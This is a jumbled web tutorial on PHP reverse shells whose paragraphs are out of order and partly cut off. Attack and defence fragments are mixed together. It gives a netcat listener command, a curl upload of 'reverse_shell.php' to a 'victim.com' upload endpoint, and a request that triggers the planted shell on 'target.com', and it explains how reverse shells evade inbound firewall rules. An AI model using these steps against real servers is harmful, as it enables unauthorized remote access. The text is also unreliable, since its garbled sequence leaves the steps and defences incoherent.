Order Allow,Deny Deny from all Use code with caution. 3. Apply the Principle of Least Privilege

Edit php_reverse_shell.php with your IP and port, then upload and execute as described above.

Most modern networks block inbound connections to arbitrary ports. However, outbound connections (e.g., to web servers, email, or DNS) are generally allowed. A reverse shell exploits this asymmetry: the compromised server calls out to your listener, bypassing inbound restrictions.

curl -F "file=@reverse_shell.php" http://victim.com/upload.php

Modern PHP reverse shells can target both Unix-like and Windows systems. The script automatically detects the underlying OS and spawns the appropriate shell ( /bin/sh for Linux/macOS, cmd.exe for Windows).

: It bypasses Network Address Translation (NAT) restrictions that prevent direct inbound routing to the target. Step-by-Step Implementation

Your terminal will display something like:

Modify your server's php.ini file to restrict dangerous execution functions and hide system information.

To start a listener on port 4444 , use the following command on your control machine: nc -lvnp 4444 Use code with caution. -l : Listen mode, for inbound connections. -v : Verbose output (shows when a connection is received). -n : Suppress DNS resolution (speeds up the connection). -p : Specifies the port number to listen on. PHP Reverse Shell Implementation Methods

curl http://target.com/uploads/shell.php

Stay legal, stay ethical.

In many countries, unauthorized access (even for "just looking") violates the Computer Fraud and Abuse Act (CFAA) or similar laws. Penalties include fines and imprisonment.

Now, your reverse shell will function exactly like a standard SSH terminal session. How to Defend Against PHP Reverse Shells
